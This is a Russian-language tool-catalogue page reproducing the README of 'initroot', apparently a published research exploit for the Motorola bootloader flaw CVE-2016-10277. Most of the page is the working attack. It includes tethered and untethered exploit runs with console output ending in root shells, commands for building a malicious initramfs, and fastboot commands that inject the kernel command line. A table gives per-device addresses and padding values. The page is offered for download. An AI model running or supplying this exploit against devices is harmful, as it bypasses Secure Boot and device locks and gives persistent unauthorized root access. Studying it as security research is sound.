Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
initroot — Непривязанный джейлбрейк Motorola: эксплуатация CVE-2016-10277 для обхода Secure Boot и блокировки устройства | Kitploit
Инструменты/GitHubGitHub/alephsecurity/initroot
Безопасность AndroidПовышение привилегийМеханизмы персистентностиАнализ уязвимостейЭксплуатацияМобильная безопасностьРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubalephsecurity/initroot

initroot

Непривязанный джейлбрейк Motorola: эксплуатация CVE-2016-10277 для обхода Secure Boot и блокировки устройства

Репозиторий
84248 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

initroot: Обход безопасной загрузки и блокировки устройства через инъекцию командной строки ядра загрузчика Motorola (CVE-2016-10277)

Автор: Roee Hay / Aleph Research, HCL Technologies

Первый этап эксплойта: привязанный джейлбрейк

Этот эксплойт предоставляет временный неограниченный root-доступ к устройству. Например, на cedric (некоторые сообщения удалены для читаемости):

root@kitploit:~
$ cd ./tethered/cedric
$ ./initroot-tethered.sh
Welcome to initroot-cedric-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0xA2100000,1588596
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>
OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (34319 KB)...
OKAY [  1.098s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.101s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:shell:s0
$ adb shell
cedric:/ # 

Второй этап эксплойта: непривязанный джейлбрейк

Этот эксплойт предоставляет постоянный root-доступ к устройству. Например, на athene (некоторые сообщения удалены для читаемости):

root@kitploit:~
$ cd ./untethered/athene
$ ./initroot-untethered.sh 
Welcome to initroot-athene-untethered
Welcome to initroot-athene-tethered
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a initrd=0x92000000,2505052
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
target reported max download size of 536870912 bytes
sending 'aleph' (35214 KB)...
OKAY [  1.131s]
writing 'aleph'...
(bootloader) Invalid partition name aleph
FAILED (remote failure)
finished. total time: 1.138s
(bootloader) slot-count: not found
(bootloader) slot-suffixes: not found
(bootloader) slot-suffixes: not found
resuming boot...
OKAY [  0.006s]
finished. total time: 0.006s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
padC-initroot: 1 file pushed. 11.1 MB/s (22937600 bytes in 1.963s)
44800+0 records in
44800+0 records out
22937600 bytes transferred in 3.017 secs (7602784 bytes/sec)
...
(bootloader) <UTAG name="fsg-id" type="str" protected="false">
(bootloader)   <value>
(bootloader)     a rdinit= root=/dev/mmcblk0p41
(bootloader)   </value>
(bootloader)   <description>
(bootloader)     FSG IDs, see http://goo.gl/gPmhU
(bootloader)   </description>
(bootloader) </UTAG>

OKAY [  0.015s]
finished. total time: 0.015s
rebooting...

finished. total time: 0.815s
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc) context=u:r:kernel:s0
athene:/ # 

Создание собственного вредоносного архива initramfs

  1. Используйте зафиксированный initroot-<device>.cpio.gz или создайте свой:
root@kitploit:~
$ cd <initramfs folder>
$ find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../initroot-<device>.cpio.gz
OR if padding is needed:
$ dd if=/dev/zero of=../pad ibs=1 count=<PAD_SIZE>
$ cp ../pad ../initroot-<device>.cpio.gz && find . | grep -v [.]$ | cpio -R root:root -o -H newc | gzip > ../tmp && ls -la ../tmp && cat ../tmp >> ../initroot-<device>.cpio.gz  && rm -fr ../tmp
$ cd ..
  1. Наши зафиксированные образы initramfs имеют adb, работающий как root по умолчанию. Он не будет запрашивать авторизацию. Кроме того, dm-verity отключен на соответствующих разделах
root@kitploit:~
fastboot oem config fsg-id "a initrd=<SCRATCH_ADDR+PAD_SIZE>,<initroot.cpio.gz size-PAD_SIZE>"`
fastboot flash foo initroot-<device>.cpio.gz`
fastboot continue
  1. Если вы используете наш initramfs, adb shell теперь даст вам root-оболочку:
root@kitploit:~
$ adb shell
shamu:/ # id
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc) context=u:r:su:s0

Создание непривязанного эксплойта для других устройств Moto

Прочитайте нашу запись в блоге

Проверенные устройства

Сообщено сообществом

Примечание

Эта уязвимость также может затрагивать другие устройства Motorola: потребуется другой initramfs. Другой физический адрес initrd (SCRATCH_ADDR). PADDING также может варьироваться.

Video Demo

Video Demo of CVE-2016-10277

Публикации

  1. initroot: Обход безопасной загрузки Nexus 6 через инъекцию командной строки ядра
  2. initroot: Hello Moto
  3. Обход безопасной загрузки через инъекцию командной строки ядра загрузчика Android Motorola
  4. Untethered initroot (USENIX WOOT '17)
  5. Доклад на USENIX WOOT '17
Скачать инструмент
УстройствоКодовое имяSCRATCH_ADDRPADDINGcommitted initramsНеиспользуемый раздел
Nexus 6shamu0x110000000x0AOSP userdebugmmcblk0p11
Moto G5 (XT1676)cedric0xA01000000x2000000Выпуск, пропатченные init и adbd для отключения SELinux, set{u,g}id для shell, сброс возможностей и авторизация adb и т.дmmcblk0p41
Moto G4 (XT1622)athene0x900000000x2000000""mmcblk0p48
УстройствоКодовое имяРепортерОписание
Moto G5 Pluspotter0xA0100000drbeat
Moto G4 Play (XT1607)harpia0x90000000m-mullins
Moto G4 Play (XT1609)harpia0x90000000@utoprime
Moto G4 (XT1625)athene0x90000000@EWorcel
Moto G3osprey0x90000000@asiekierka
Moto G2 (XT1072)thea0x11000000@TheElix
Moto G (XT1032)falcon_retfr0x11000000Pierre Zurek
Moto E (XT830C)condor_cdma0x0E000000fetcher
Другое--@jcase